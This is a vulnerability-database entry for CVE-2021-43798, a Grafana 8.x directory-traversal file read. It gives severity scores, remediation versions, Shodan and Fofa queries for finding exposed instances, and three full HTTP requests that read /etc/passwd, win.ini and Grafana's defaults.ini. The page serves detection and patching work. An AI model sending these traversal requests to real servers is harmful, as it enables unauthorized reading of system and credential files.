🔙 목록으로 돌아가기

CVE-2021-43798: Grafana v8.x - Arbitrary File Read

TitleGrafana v8.x - Arbitrary File Read
Authorz0ne,dhiyaneshDk,j4vaovo
SeverityHigh
ImpactAn attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
RemediationUpgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.
CVSS Score7.5
EPSS Score0.94438
CVE IDCVE-2021-43798
CWE IDCWE-22
Shodan Querytitle:"Grafana"cpe:"cpe:2.3:a:grafana:grafana"http.title:"grafana"
Fofa Querytitle="grafana"app="grafana"
Tags cve2021 cve packetstorm grafana lfi vkev kev vuln

🔍 Vulnerability Description

Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is <grafana_host_url>/public/plugins/NAME/, where NAME is the plugin ID for any installed plugin.

🌐 HTTP Request

GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /public/plugins/alertlist/../../../../../conf/defaults.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43798.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-43798.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A